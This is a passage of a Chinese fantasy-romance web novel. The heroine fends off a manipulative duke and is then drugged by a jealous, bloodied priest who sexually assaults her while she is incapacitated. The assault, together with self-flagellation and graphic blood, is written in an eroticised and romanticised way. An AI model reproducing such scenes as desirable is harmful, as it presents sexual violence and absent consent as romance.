公爵大人俯身,轻轻拢起自己小未婚妻垂在耳畔的发丝,指腹若有若无地擦过她的肌肤,留下滚烫的温度:“这又是一个今天聊不完的话题。” 他收回手,避而不答,轻巧地带过这个问题,转向聊起两个人的婚约。 “艾米小姐,那封婚契,你一直没有拆开吧?”他宽容地笑,似乎并不为此事而生气。 艾米点头。 “说实话,在此之前,我还从未想过,会有人拒绝我的求婚。” 公爵大人擅长这种直白得令人无法应对的表达,这令他看起来无比真诚。 “但见到你之后,我完全理解了你的顾虑。” 湛蓝色的眼睛泛起怜爱和柔情。 “你很舍不得你的领地吧?” 紫藤花的香气荡在二人的周身,阳光透过花隙簌簌洒落,面前的男人英俊温和,慷慨又大方,更难得的是,他看起来还如此贴心和真诚。 “如果你想。”他说:“和我结婚之后,你仍然可以保有你的领地、你的姓氏。” 艾米想,恐怕无论是谁,都忍不住在此刻怦然心动。 ——即使从丝毫未动的好感度来看,他的柔情蜜意连半分浅薄的真心都无。 洛克又将手抬了起来,这次他甚至不用撩头发做幌子,而是直接抚上了艾米的脸颊肉。 他轻轻揉了揉未 婚妻的耳垂,带着恰到好处的像是情难自持的轻叹。 “你是我见过最漂亮的宝石。”他垂眸看着指腹擦过的肌肤变红、变烫:“我迫不及待想成为你的合法丈夫,艾米小姐。” 第82章 第82章我们可以在米迦尔神官的…… 公爵大人没有更近一步的举动。 他收回手,脸上闪过一丝歉意,像是刚从暧昧的气氛中回过神:“请原谅我的失礼。” 简直是完美的演技。 艾米也不遑多让。她慌乱地避开了公爵大人的视线,柔顺羞涩地低下头,只余泛红的耳垂和一侧莹白的后颈。 “没关系,大人。” 她垂下眼睫,盯着自己的鞋面。感谢洛克刚才调情选择的恰好是她最敏感的耳垂,要不然‘羞涩’最关键的脸红将很难假装。 不远处,公爵大人的花匠正在修剪庭院里的矮灌,两人驻足看了一会,顺势聊了会天气,又分享了几件无伤大雅的小趣事。两人都没再提起刚才那点到为止的亲密接触,就像一对真正的、正在培养感情的未婚夫妻,各自享受着若即若离的暧昧情愫。 今天是他们的第二次见面,洛克再次提及了婚约,却并没有要立刻得到回复的意思,他极为耐心地展现了超乎寻常的诚意,还恰到好处地露出了些许情难自禁的失礼,让他对未婚妻的赞美看起来更加有说服力。 ——也掩盖了他略显着急的求婚。 但在一场博弈中,着急的一方总会露出破绽,或者说,着急本身就是破绽。 到底是什么缘由,才让公爵大人对这段婚姻如此看重?他作为王国最古老家族的掌舵者,坐拥数之不尽的财富,毫不夸张的说,就算是那把王座,也未必对他有足够的吸引力。 公爵大人说,这段婚姻是克莱恩先生的“建议”。艾米想,应该不是“建议”,而是一个“预言”。 父亲是占星术大学士,他预言上任国王路德维希的第一个孩子会是一个健康的男孩,但王后妮可拉生下的却是一个‘脆弱的、早夭的女孩’。 这是个失败的预言吗? 不,不对。 这只能说明,路德维希的第一个孩子很可能不是王后的,那男孩可能是个私生子。 但艾米仍然想不明白这和自己的婚姻有什么关联。 现在的线索还是太少了,她需要更多的信息。 于是艾米回到领主府后,第一件事就是把雷尔夫叫过来。 “洛克一定隐瞒了什么。” 她在房间里踱步,思考,组织语言。 “不管是什么,他的身上一定有一个秘密。不,也可能不止一个。” 她没有讲自己的猜测,担心影响雷尔夫的判断,只说了关于父亲的预言。 “你在布佛里托待过一段时间是吗?” “是。” “我需要你再去一次,我想要知道洛克究竟隐瞒了什么。” 雷尔夫自然不会说不,他垂下灰色的毛茸茸的脑袋,眼睛里除了担忧之外还溢满怒火:“他伤害你了?” “不,没有。”艾米松了口气,踮起脚安抚似的捧起他的脸,和自己对视:“我只是觉得,他太着急了,这不太对劲,明明我身上并没有什么可值得他觊觎的东西。” 雷尔夫想说那是因为他喜欢你,没有男人会不喜欢你,他们都想吻上你的唇,被这样柔软温热的手抚摸,这就是他们觊觎的宝藏。 但他什么都没说,他知道自己无权谈论小姐的婚事,却仍然忍不住胸口钝痛。 “我知道了。”雷尔夫定定地看着她:“我不会让他对你有任何欺瞒。”- 艾米的生日快要到了,在往年的这个时候,厨房会为她烤制一个三层的、不同夹心的蛋糕,然后父亲会为她准备一份生日礼物。 因为没有什么朋友,所以她的生日通常这么度过,和其他普通的小女孩一样。 今年有点不太一样。 因为她提前了几天就开始陆续收到礼物。 雷尔夫在离开前红着脸送来一个包装精美的软牛皮包,掂起来轻轻的。艾米拆开后发现是一只填充着棉花的小狼玩偶,而它的尾巴,居然是毛茸茸的真的狼毛缝制的。 太可爱了,艾米忍不住抱着它睡觉。 布利斯寄来一支永远盛开的冰雾花,不知道是怎么做到的。由于他之前送给自己的有用的东西太多了,因此艾米收到后以为这又是什么魔法道具,研究半天后才发现,它就是一支只有观赏价值的漂亮的花。 不过确实很好看,放在卧室的床头赏心悦目,晚上半梦半醒间,还能闻到淡淡的薄荷清香,总让人联想到大魔导师身上的味道。 罗莎一大早就送来了她的礼物,一瓶树莓佳酿,这是她前几天帮艾米办事时去迪斯港买的,除此之外,她还分享了几个大瓜,可以说是不虚此行。莉亚的礼物很简单,但是意义重大,因为这是她用攒下的零花钱买的,不是“顺手拿的”。 至于公爵大人,谢天谢地,他终于没再送珠宝,不过他的礼物比珠宝更贵重。 他送来了一个矿场主管,帮了艾米的大忙。 直到这天快要结束,亚兰才终于出现。 门外,他的眼下泛着淡淡的乌青,苍白的脸色看起来像是熬了几个大夜。 “煤炭炉窑的设计图纸。” 艾米被一摞重重的文稿砸了个满怀。 “你可以更高效地炼铁了。” 艾米还来不及做出反应,就被上前一步的亚兰环抱住。 他下巴轻轻抵着她的发顶,在艾米看不到的地方,睫毛轻轻颤抖着,嗓音疲倦又满足:“生日快乐。”- 洛克对这份文稿很感兴趣,有点随手撒出去的金币回本了的意外之喜的意思。 “你做的很好,这种事情本就应该交给下面的人去做。”他看了几眼后随手放回沙发边的茶几上:“但现在,我更想邀请我聪明可爱的未婚妻,去外面散散步。” “你需要呼吸一些书房之外的新鲜空气。记住,对于领主来说,健康的身体比一切都重要。” 艾米无法拒绝。这段时间她几乎每天都和洛克见面,尽职尽责地培养着感情,然后对他偶尔提及的盛大婚礼含羞带笑地糊弄过去。 两人一般会选择在没有人的林间散步,这是乡间庄园最大的魅力,鸟鸣、微风、以及青草的芳香。但今天,洛克选择了另外一条路。 “今天想在镇子上走走。” 他今天穿得比较休闲,领口解开,袖口折起,露出肌肉线条流畅的健硕小臂,在往日一丝不苟的温和中多了几分摄人的压迫。 “可以吗?” 艾米点头,没什么犹豫地轻快回复:“我也很久没去镇上散步了。” 即使是上午,温度也有点高了,从树荫下走出几步后,艾米就有点后悔,尤其是她今天为了造型,还在长裙外披了一件软毛披肩。 洛克留意到她泛红的脸颊,浅笑着伸手示意:“要脱掉吗?请施舍我一个帮你拿着衣服的机会吧,小姐。” 艾米把衣服递给了洛克,男人的臂弯搭着明显是女性的披肩,这让并肩而行的两人看起来十分亲昵。 镇上的其他人也是这么想的,他们大多远远地欠身或脱帽致意,并没有像往常一样热情打招呼,可能是不想打扰领主小姐的约会。华贵的马车队抵达小镇之后,所有人都知道了眼前的男人是艾米小姐的未婚夫。他英俊、富有,确实配得上他们的领主。 “我后天会启程去永夜城参加贝丝小姐的订婚宴。”洛克主动报备自己的行程:“她的未婚夫赫曼伯爵是哈卡兹家的人,所以按照礼节,我应当出现。” 贝丝是迪特克大公的妹妹,他有很多妹妹,但这个妹妹是他同母的妹妹,因此更亲近些。只是艾米没想到,王城的舞会季才刚刚结束,这位才成年的女孩就这么快地选定了自己的丈夫。 “我记得贝丝小姐才刚满十六岁,今年春天的社交舞会是她的第一次亮相。” “确实如此。”洛克点头:“不过这段婚约迪特克在一年前就已经开始推动了。赫曼虽然是哈卡兹的旁支,却实际拥有一处曜石矿的管理权,他为迪特克介绍了一些南境的朋友,帮了他很多忙。” 不用说,艾米也知道,这个“忙”,应当指的是迪特克最后成功获得继承权的事情,很可能就是那些南境的朋友,才让纳维公爵悄无声息地病情加重。但艾米不知道洛克为何要和她 说这些,对于他们的关系来说,这种话题太“深”了。 “很幸运我没有这样的哥哥。” 艾米顺着他的话题接下去,以这段时间两人相处的模式来看,装傻是最没必要的,而艾米甚至隐隐觉得,公爵大人喜欢她偶尔展露的野心和聪慧。 洛克笑了笑,继续说:“迪特克为妹妹准备了极为丰厚的嫁妆,赫曼因此很满意。不过相应的,他让出了接下来十年,曜石矿五分之一的产量作为送给妻子的礼物,并承诺,曜石矿只会留给贝丝的孩子。” 艾米忽然打断:“冒昧问一下,赫曼伯爵还有别的孩子吗?” “据我知道的,他已经有了三个私生子。” 艾米沉默片刻:“也很幸运我没有这样的父亲。” “我十分能理解你。”洛克像是被她这模样逗乐了,喉间发出低沉的笑声,像是刚上过油蜡的木质琴音:“我也很幸运我没有这样的父亲。” 艾米诧异。 看到她脸上不加掩饰的表情,洛克失笑,语速仍然不紧不慢:“我的继承权是从小就确定的,他在外面也没有私生子,所以很幸运,我不需要像迪特克大公那么努力,我也希望未来我的孩子能和我有同样的感受。不过小姐,你对自己的未婚夫一点都不好奇,还真是让我伤心。” 艾米终于回过味来。 原来兜了一大圈子,洛克还是在推销自己。 “艾米。”洛克喊她的名字,停下了脚步,在暖阳下专注地看着她:“我想邀请你作为我的未婚妻,和我一起出席贝丝小姐的订婚宴。” 他背着光,将大部分日头都罩住了,留下一小洼阴影,此刻,艾米就站在他的阴影中,抬头看着他不清不楚的面容,犹豫着要不要立刻回复。 这意味着他们将同行同住,进行一场大约一周左右的旅行。 公爵希望艾米能尽快答应他的求婚,而艾米同样希望公爵能尽快爱上她。他俩就像两位尽职的话剧演员,幕布拉开,扮演甜心蜜意的情侣,却在对视时只顾着念台词,没有半分心动。 这种时候,一场旅行变得很有必要,艾米想,她可以借此使用一些更激进的手段去试探这个男人的心。 于是她装作羞赧地轻轻点头。 公爵大人的笑意深了,他自然地将臂弯里的披肩换了边搭着,然后躬身牵起她的手,在手背处轻轻落下一个吻。 “我很高兴你会答应这件事。” 他的吻轻触即离,但牵住她的手却仍然不放,就像忘了这件事一样,直到艾米主动抽出。 “再继续散会步吗?”她轻声问。 “当然,还没到目的地。” 洛克在街道尽头虚握住她的肩头,引着她转弯。 艾米皱眉不解。 公爵大人微笑着解释道:“这是我来到托利亚第一天就想去的地方。” “米迦尔神官是中央圣殿最年轻的大神官,他是神最优秀的仆人,所有光明神的信徒都会想获得他的祝福。无论是王城还是布佛里托,他接见信徒的日子都是极为难得的,队伍会排满中央圣殿前的广场。就连我也只有幸见过他两三面而已。” “而现在,他在这里不需要预约和等待就能见到,我想,这个机会不应该错过。”他垂眼看她,嘴角含笑。 艾米感觉不妙,她忽然意识到自己最近忘了什么事。 “我听科林说,你是位虔诚的光明神信徒,几乎每天都会去教堂祈祷。” 自从公爵大人来到之后,她就一次都没去过教堂。 “如果你想的话。”公爵大人的声线一如往昔,就像慰贴的,关心妻子的温柔丈夫:“我们可以在米迦尔神官的祝福下成婚。” 第83章 第83章奸。夫。淫。妇 在进入教堂之前,艾米还曾心存侥幸。 米迦尔的性。癖这么古怪,说不定还会因为自己已婚的身份更兴奋呢吧? 以及,两人看起来都是会把礼貌微笑焊在脸上的老狐狸,再怎么样也不会在教堂这种地方吵起来的吧? 唯一需要担心的是,她需要一边扮演对未婚夫十分满意的羞涩新手妻子,一边继续保持对神官大人爱而不得极为痴迷的人设。 教堂里的信徒坐得稀稀疏疏,圣坛之上,米迦尔正带领大家进行告别祷告。艾米拉着洛克在角落里坐下,跟随着众人一起垂下头,口中小声地诵念着自己为数不多知道的几句经文,实际上大脑正在疯狂转动,整理思路。 有什么办法能让两个人都觉得自己是被偏爱的那个呢? 艾米想到一些关于多子女家庭里父母如何端水的教程,想让子女和睦,将所有东西都均分下去不一定是最好的做法,怎么让他们都觉得自己是被偏爱的那个才更有效。 而偏爱来自于特殊性。 一点奖励,一点甜头,一点其他人没有的,唯独他才有的特别礼物。 没过多久,圣契仪式到了尾声。 艾米起身搀住了公爵大人的手臂。 从他们身边路过的人们恭敬地向领主小姐脱帽致意,这个过程中,她就一直搭在男人的臂弯中,笑盈盈地回应着所有人。 男人的体温隔着薄薄的衣物传了过来,艾米感受到公爵大人身体上的微微错愕,因为这是她第一次主动挽上他,像是一种身份的昭告,也像是一种对二人关系的首肯。 在众人离开后,她小声地朝男人撒娇:“我有点冷了。”然后顺势收回手臂,等待对方将手中的软毛披肩为自己重新搭上,紧接着拢了拢领口,借着衣物的隔档,在米迦尔过来之前,重新退回了看起来不怎么熟悉的距离。 第一步完成。 接下来,她计划在神官大人面前,将这种羞涩表现成无可奈何的顺从,这样他就能理解,自己是被迫和身边的男人结婚,而并非出于真心。 可艾米还没来得及发挥演技,走向就开始有些不对。 米迦尔连看都没看她一眼,视线径直略过她落在了一旁公爵大人的身上。 “很高兴见到您,公爵大人,但这里并不欢迎异教徒。” 艾米很惊讶,她第一次见到米迦尔这么含枪带棒不客气的一面,他甚至在把她绑在圣殿的地宫里要杀她之前都还是温柔微笑的模样。 洛克似乎早料到眼前的一幕,他神情自若:“神官大人,我们一样都是光明神的信徒。” “但恐怕我们对教义的理解大相径庭。”米迦尔冷言道。 洛克微微欠身,这种郑重得过了头的态度显出一种截然相反的轻慢意味:“我知道,你对南境的新教一直很抗拒,不过即使两者对神的旨意有不同的理解,关于婚姻中需要呵护和尊重妻子这点还是很一致的。” 他自然而然地揽住未婚妻的肩膀,用力时手指的戒指隔着羊绒披肩轻轻硌在娇嫩的肌肤之上,像一种无言的警示。 “我尊重我的妻子的信仰,她希望能在熟悉的教堂举办婚礼,所以即使要面对神官大人的冷眼,能让她开心,我觉得也是值得。” “是吗,亲爱的?” 他自然地侧过头,湛蓝的眼眸似笑非笑,透着冰冷的寒意。 艾米心底一惊。 公爵大人并非不知道她在演戏。 她对待婚期一拖再拖的敷衍态度,面对他时谨慎小心的做派,他全都知道。 但他不在乎。 他只是想尽快完婚。 艾米微不可见地攥紧轻颤的手指,然后慢慢地、慢慢地咧开一个微笑。 “是的。”她迎上那双眼睛,尽力放缓自己的声线:“我希望能在熟悉的地方结婚,我希望——” 她放任自己轻轻咽了口水,颤抖着,像是害怕一般吐出剩下的话。 “我希望能在米迦尔神官的见证下完婚。” 洛克的手指亲昵地抚上她的脸颊,像是奖赏一般。黑曜石戒指贴在她的下巴处,带来的感觉就像他本人一样冰冷。 艾米却 为此感觉到隐隐的兴奋,咬着唇瓣内侧才能抑住发自内心的笑意。 她知道洛克为何要带她来这里了。 这个男人,竟然以为她拖延婚约的原因是另外一个男人。 太可笑了。 他无法理解,一个女人不想结婚,就只是因为她不想结婚而已。他认为是米迦尔阻碍了这段早就已经敲定的婚姻,因此逼着她来到教堂,逼着她在‘心爱的男人’面前答应他的求婚。 真是太自大了。 他送来成箱的金币和数不清珠宝,外加耐心的引导和不计成本的帮助,是因为他想要的不止是婚姻。 他想要的,是一个独立的人对他全然的臣服和依赖。 他想要驯服她。 艾米的胸口烧灼着近乎兴奋的怒火,她盯着洛克上下滚动的喉结,然后轻轻地抿起唇。 这本来是个两难的局面,而现在公爵大人替她做了决定。 她不需要再扮演羞涩的未婚妻,只需要扮演好对神官大人爱而不得的痴迷就好。 艾米抬起眼皮,直直地撞进米迦尔沉沉的目光中。 他从刚才短暂的失控中缓过来,恢复了一贯的温和语气:“抱歉。我无法为二位主持婚礼,神只会庇佑向祂祈祷的人,我也同样无法为新教徒的婚姻送上祝福。” “那还真是可惜。”洛克依然揽着艾米的肩头,他的食指在她的肩膀上轻点,亲昵又不容挣脱:“看来我们今天白来一趟了。” “不过,还是很高兴见到您,米迦尔神官,您很有名,我一直想和你讨论一些关于《三圣经》的内容。” 米迦尔微笑,既没有接话,也没有拒绝。 “在新教的释义中,任何人都有追求幸福的权力,包括神的使徒。”洛克的话听起来不怀好意:“您对此怎么看呢?” 米迦尔摇头:“我没有任何看法,我只听从神的旨意,而不是某些经过扭曲的解释。” “是么?我还以为您会赞同新教允许神官结婚的做法呢。” 艾米打断了两人剑拔弩张的交谈。 “我累了。”她朝米迦尔挤出安抚的笑,然后才看向身侧的未婚夫:“是不是该回去了?” “当然。”洛克将手从她的肩头拿开,却没有收回,而是虚虚地悬在半空:“外面很热,我帮你拿着披肩吧?” 艾米没有阻止。 “愿光明神保佑我们。”她的面上显出几分疲倦,强撑着向米迦尔告别- 艾米在第二天拒绝了公爵大人的约会邀请。 她需要一个人待一会。 这是个棘手的攻略对象,稍有不慎就会烧到她自己。 眼下就是如此。 她还没有搞清楚洛克对这段婚姻看重的原因,就几乎被他赶鸭子上架地逼到了快要结婚的地步。 太危险了,在没有绝对的把握之前,和他交往过密,反而会搅乱自己的计划。 艾米有点后悔答应作为他未婚妻去永夜城参加贝丝订婚仪式,以现在的情况来看,按照公爵大人的进攻性,说不定一周后她都怀上孕了。 最好还是暂时分开一段时间,艾米想,正好她也可以趁这段时间,等一等雷尔夫的消息。 只是明天就要出发了,要怎么才能找出合适的借口呢? 艾米不知该找谁说,最后只能找罗莎寻求意见。 “我觉得还太快了。你懂吗?我还没做好以他的未婚妻的身份出席宴会的准备,就一时冲动地应了下来。”她焦急地问:“我该怎么办?” “我倒是能理解”罗莎边整理思路边慢吞吞地说:“对于我们半精灵来说,五十岁还是小朋友,至少要认识二十年才能算朋友,而你从第一次见他到现在甚至还不到二十天。” 艾米拼命点头:“所以,有什么能够临时反悔的借口吗?” 尽管罗莎对小姐扑朔迷离的感情生活时常好奇,也知道这时候不是开玩笑的时刻,她坐直身体,想办法出谋划策。 “你可以说你之前和贝丝小姐闹过一点不愉快。” 艾米摇头:“太弱了,就算我说迪特克大公之前追杀过我,都太弱了。” “要不然还是最简单的吧,你称病怎么样?” “昨天还好好的,怎么临出门就病了?再说了,我这模样跟生病也完全没关系吧?” “你可以找神官大人帮忙啊!”罗莎忽然说:“他一定会愿意帮你打掩护的。” 艾米无法明说他俩现在在公爵大人的心中几乎等同于一对奸夫**。 “算了吧,我再想想。” 她嘴上这么说,却真的开始期待突然来一场不严重、又极具传染性的感冒。 第二天出发前,艾米在出发的马车上待了一刻钟,就迫不及待喊了停。 因为她忽然想明白了一点。既然洛克的好感度为0,那她做什么都不会更差了。 继续这样维持体面、维持表面的和睦,将没有任何作用。 因为维持就等于被他牵着鼻子走。 艾米受不了这种被掌控的感觉。 “我不舒服。”她直接这么说,连一丁点虚情假意的借口都没再找:“放我下去,我不想去永夜城了。” 洛克的脸上露出一丝玩味。 “停车。”他没做任何阻拦,看起来并不意外。 望着公爵大人的马车队驶离小镇,艾米总算松了口气。 这几日和他的周旋令她身心俱疲,她想,也许她确实应该找米迦尔帮帮忙。 最起码,他可以用他的光明法术为自己放松一下,艾米至今还记得交换身体后,她因为醉酒靠在‘自己的身体’上睡了一下午,肌肉肩膀浑身酸痛,但米迦尔只用一个简单的法术,就让她身体轻盈且舒畅。 停车的地方距离教堂不远,艾米直接走了过去。 米迦尔看到她出现十分意外,他今天穿的并不是神官制服,而是一身黑色的、近似骑术服的衣服,踩着一双同色系马靴,这让他的长腿看起来笔直且有力。 “今天没有圣契仪式吗?”艾米好奇地问。 米迦尔很快掩住了错愕,转而问她怎么了,有什么需要帮助的。在听到艾米说想要在光明法术的沐浴下放松片刻,他轻快地笑了笑。 “去我的休息室吧。”他建议。 艾米点点头,跟着他走进祷告室之后的休息间。 房间昏暗,只有小小的一扇窗。 不知为何,刚一走进房间,她就感觉到一股浓浓的倦意。 “躺在床上吧?很快的,大概几分钟就好。”米迦尔的声音像蒙了一层纱,模糊不清。 艾米点点头,她边打哈欠边漫不经心地说:“你今天有事吗?是要出门吗?穿得很不一样呢。” 他低声嗯了一声。 “把眼睛闭上吧。” 艾米不用他提醒,就已经合上了沉重的眼皮。 莹白的光落在了她的身上,像温暖的、柔软的、母亲的怀抱。 几乎是下一秒,她就彻底昏睡了过去。 第84章 第84章他伸出手指抹匀鲜血。…… 嗅觉比其他感官都更快苏醒。 浓稠的铁锈味钻进鼻腔,令人联想到某种黏腻的液体,在梦境的结尾,艾米重新走入了中央圣殿的地下圣坛,看到当时关押自己的房间里被血水浸满,只余中间一小块石台。 她挣扎着想要醒来,睫毛轻颤间,烛光透着薄薄的眼皮投下昏黄的光亮。 “你醒了?” 温柔的嗓音抚过耳际,她睁开看,视野里是米迦尔那张英俊的面容。 “休息得好吗?” 他仍然穿着艾米最后见到他时的那身黑色的外衣,支着下颌半跪在床侧,脸色苍白得过分,连唇色都不甚红润。 梦里的血腥味仍未消散,在同样昏暗的房间里,艾米感觉自己好像还在被关押的房间里,从未醒来。 她撑着身体想要坐起来,米迦尔似乎想要伸手拉她起来,却在抬起之后又缩了回来。 “我睡着了吗?”艾米的声音钝钝的,她看向房间里那扇小小的窗户,外面还没有完全暗下来,落下一片稀薄的光。 她收回目光,注意力再度落在米迦尔的身上,他仍然半跪着,手臂搭在膝盖上,视线比她略低一些。 “休息得好吗?”他微微抬起下巴,声音温柔。 艾米半眯着眼睛晃了晃头,想将刚才混沌不明的梦从脑袋里甩出去。 “是还不错,感觉身体一下就放松了——你怎么了!” 黑色的外衣在昏暗的环境中折射着湿润的光泽,手不小心碰到布料后,黏腻的触感令人难以忘却。 艾米瞪大了眼睛,才发现米迦尔的衣服上被 鲜血浸透了,有些干涸了,有些还湿润着,带着温热。 神官大人轻笑出声,胸腔震动让他半跪着的身形微微颤抖。 他伸出掌心还泛着暗红色痕迹的手按住对方乱动的腕,直接将她的膝盖压住:“一点小伤。” 艾米结结巴巴:“你,你干什么去了?” “去清除了一些垃圾而已。” 他的声音轻柔,透着隐隐的虚弱。 艾米忽然有了不妙的联想,她的脸色不好,连被按住的手腕都变得僵硬。 “别担心。”米迦尔冰凉的手贴上她的脸颊,黏稠的未干涸的新鲜血迹蹭到她的衣服上:“你不想嫁给他,就不嫁给他,我会帮你的,你只需要向我寻求帮助,我就会帮你的。” “好吗?”米迦尔的瞳孔亮得惊人。 艾米下意识想要查看系统面板,自己的攻略对象不会就这么轻易挂掉了吧! 不要啊,洛克还有用的! 还没来及确认,她惊慌失措的反应落在米迦尔的严重就变成了另外一重意味。 男人苍白的指骨用力掐住她的下巴,迫使她朝自己看,刚才明亮的瞳孔顷刻间变得冰冷。 “你不想让他死?他这么对你,你居然不想让他死?” 艾米舔了舔唇,被这样的米迦尔吓了一跳,糊里糊涂地小声辩驳:“不是他我” “为什么?难道你还想嫁给他?” 艾米皱眉,公爵大人简直是无处下手,就算结婚应该也没什么帮助,但不结婚的话,要怎么做才好呢? 就在她走神之时,被掐住的下巴传来钝痛。 “呃——” 米迦尔的眼睛仍然冰冷着,唇角却勾起一个浅浅的笑。 “你放心,他暂时还没死。” 艾米松了口气,幸好幸好。 下巴上的手指稍稍松开了些,改为了轻轻的摩挲。 “但我还是想不明白。” “为什么?” “杀了他不好吗?” “你能成为一个自由的小寡妇,继续留在这里,做你喜欢的事情,爱你想爱的人。” “这样不好吗?” “他还活着对你来说有什么值得庆幸的?” 男人的声线就像被血浸透了一样黏稠,艾米在逼问中接连后退,却被冰冷的手掌一次次紧紧按住。 “你的仁慈,为什么要用在他的身上?还是说,你忍不住也对他生出了一丁点爱呢?” “我没有。”艾米连忙说:“我只喜欢你,神官大人!” 米迦尔定定地看着她的眼睛。 “骗子。” “为什么他来了之后,你就再也没来过教堂?” “你觉得我不再吸引你了,是吗?” “你不在乎和其他男人结婚,然后被他锁在自己的庄园里,每天被翻来覆去地操。弄,是吗?” 他的吐息又热又重,铁锈味浓得令人作呕。 “为什么不来找我呢?” “我说过的,你只要找我求助,我一定会帮你的。” 艾米张了张口,刚想说话,就再度被他狠狠打断。 “别用那些借口骗我!” “你不是会求我不要杀你吗?” “你不是会写信给中央圣殿请求派驻神官吗?” “这些你不是都会的吗?” “你的那些令人难捉摸的小手段,为什么不用在他的身上?” “因为你根本不想从他身边逃走,是不是?” 艾米咽了口水。 她的呼吸急促,心跳加速,肩膀轻颤,身体使不上劲。 米迦尔放在膝盖上的手向她腰间的软肉探去。 “好可爱。”他深呼吸,放缓了语气:“你现在软绵绵的样子好可爱。” 艾米意识到自己的身体不太对劲。 “你——” “嘘。”米迦尔浅笑:“一些能让你放松的法术。” 他的手指找到了目的地,温热的,诚实的地方。 “在等你醒来的时候,我差点忍不住提前品尝这里。但这样不太好,我更想亲眼看到你的反应,听到你的回答。” “是这里,对吗?你喜欢吗?还想再来点吗?” 艾米紧紧咬着唇,被放大的感官令她说不出拒绝的话。 米迦尔冰冷的瞳孔终于染上了发自内心的温柔的笑意。 “我很开心。” “因为你现在很诚实,比你之前所有时候都更诚实。” 泪水不受控地在眼眶聚集,艾米已经说不出话来,她一张口就会发出糟糕的声音,因此用力咬着牙齿,想将那些破碎的话全部吞下去。 但浓重的铁锈味又令她忍不住反胃,恶心,想要呕吐。 她因此环抱着米迦尔的肩膀耸动着干呕了几声,手掌擦过他的身体,隔着外衣都能感受到湿漉漉的触感。不是干涸的、可能是其他人的血,而是温热的,正在流淌的鲜血,这些只能是米迦尔身上的。 这样不行。 残存的意识告诉她,这样下去会死人的。 刚才她还在担心自己的另外一个攻略对象会挂掉,但现在,她扫过自己身上被蹭得到处都是的血迹,开始真心实意地担心面前这位会先挂掉。 “唔血”她小心翼翼地揪住男人的衣领,担心自己碰到他不知道哪里的伤口:“血太多了” “没关系的。”米迦尔温柔的神情一成不变:“别走神,好吗?” 他正在尽可能地攫取怀里女孩的注意力。 那个梦可能是个预言,艾米觉得自己现在真的被困在了血水池中央的石台上,逃都逃不掉了。 “不行——”她努力捏住米迦尔的耳垂稳住身体,因为她不敢碰他身体的任何被衣物遮盖的部分,唯恐将伤口再次撕裂,加重流血的速度。 “不行。”她再次重复。 “治愈术你需要先给自己治疗” 好多血,好恶心,好想吐。 见鬼。 她太过于担心这件事,以至于完全没意识到什么时候身上的衣服被解开了。 米迦尔身上的血透过湿漉漉的衣服蹭到她的皮肤上。 艾米听到他深吸一口气,哑着嗓子缱绻眷恋地小声喊她的名字,磁性深情的声音像小刷子扫过她的耳膜。 “真漂亮,你要不要自己看一看?” 他伸出手指抹匀鲜血。 “红色很衬你的肤色呢。” 第85章 第85章头晕,想吐。 该死的眩晕感,就像失血的不是他,而是自己。 艾米真想求求米迦尔先把自己收拾了再继续,但很可惜,她已经在神官大人那里失去了信誉,无论她如何承诺不会逃跑,腰上的手都将她钳制得严丝合缝。 “头晕”她忍不住求饶:“想吐。” 米迦尔喉间溢出轻笑:“你上面的嘴向来不怎么诚实。” 很明显,他没有停下的打算。 艾米决定换个思路劝他。 “好多血会很疼吧我很担心你。” 米迦尔微微一顿,然后变得更加粗暴。 他按住艾米的后脑勺,开始用力地啃咬她的唇,直到在唇齿间也舔到淡淡的甜腥味。 不是他的血,是她的血。 米迦尔又舔了舔那处。 极小的伤口,极淡的味道,但令他十分兴奋。 艾米被超负荷的索取占据了全部的心力,完全顾及不上嘴唇那一点小小的破皮,只感觉对方忽然变了攻势,忽上忽下的节奏令她无力做出更多的反应。 “你也会担心我吗?”米迦尔轻轻含住她的耳垂,在缓慢且沉重的吐息中张口:“你伤害我的时候,没想过我会疼吗?” 耳垂忽然被用力咬住,短暂的刺痛之后,艾米感觉到牙齿正轻颤着碾过那块软肉,像是带着咬牙切齿的恨,要强忍着才不将皮肤咬破。 “有时候我真想让你也尝尝这痛。” 米迦尔拉着她的手从自己解开的衣领处探进去,用力按在自己的皮肤上。 除了新鲜的血迹,她还摸到了陈旧的伤 疤。 一条条的,凹凸不平的手感,有粗的,有细的,有刚结痂的,有古老的,几乎从领口遍布所有艾米能摸到的皮肤上。 怪不得他领口的扣子总是严密地扣到最顶部。 “为了申请额外的神降仪式,我接受了三天的鞭刑惩罚。”米迦尔抱着软乎乎的领主小姐,感受她的手心擦过伤口带来的疼痛,粗重地喘着气。 “但那不是我第一次为你受罚。” “结束交换身体的那天,我为自己触碰了女人的肌肤而跪在苦修室,用法术驱使着抽打了自己八十下。” “本应该很疼的。” “但很奇怪,即使没有用任何治愈术,我也完全没印象了。” “第三次是你说你爱我的那天,我想着你无法入眠。”米迦尔无可奈何地轻叹:“我背叛了我对神的诺言。” “第四次是为你治疗双腿酸痛之后,我做了关于你的梦一整晚。你不知道你在梦里多么主动,多么诱人” 艾米发愣,她心跳得厉害。 神官大人放缓了动作,他半垂着眼,视线落在她被吸吮得艳红的唇上,真漂亮,红得像吸饱了血。 “之后你每晚都会来,我后背的伤叠了一层又一层。” “我的疼痛全与你有关,我跪在苦修室里,想的全是梦里你的模样,鞭子也驱散不了我那些幻想。” 他捧着她的脸,又落下一个吻。 “所以别来问我疼不疼了,这只会让我更想” 他用行动取代了没说完的话 更想干。你。 太糟糕了。 最开始,他只是想用苦修令自己冷静。 可次数多了之后,这二者紧密地交揉在了一起,每当跪在冰冷的石板上,忍受后背的抽打时,他想的却是她柔软的大腿。 这竟然成了他的条件反射。 疼痛和性。欲变成了一件事。 失血过多令米迦尔愈发眩晕,他能感觉到自己的身体正在慢慢失温,就像他杀过的那些人一样。 但与此同时,下面温暖的感觉也更加明显。 神啊。 我该怎么做。 我犯了这样的罪孽。 我应当去死吗? 怀里的声音开始变得微弱,米迦尔的手掐过她身上的所有软肉,不想停下。 也许我应该去死。 米迦尔自暴自弃地想。 月光从窗格洒落进室内,他有点分不清现在是不是他的一个梦。 他只是本能地不想从梦中醒来,所以依旧用力地撞着怀里的女人。 软乎乎的小手环住了他的脖子。 米迦尔感觉有什么热乎乎的液体沾在他的前襟。 是血吗? 他的大脑已经变得有些迟钝。 不对,是从她的身上流出的。 “我害怕” 他的胸前抵着轻颤的脑袋。 原来是眼泪。 “我害怕” “你流太多血了我很害怕,我很害怕你会死。” 是的,她会害怕。 如果我死在这里了,她会害怕的。 她应该没见过尸体,没见过青白色的冰冷僵硬的皮肤,没见过死亡后开始腐烂的斑块,她会害怕的。 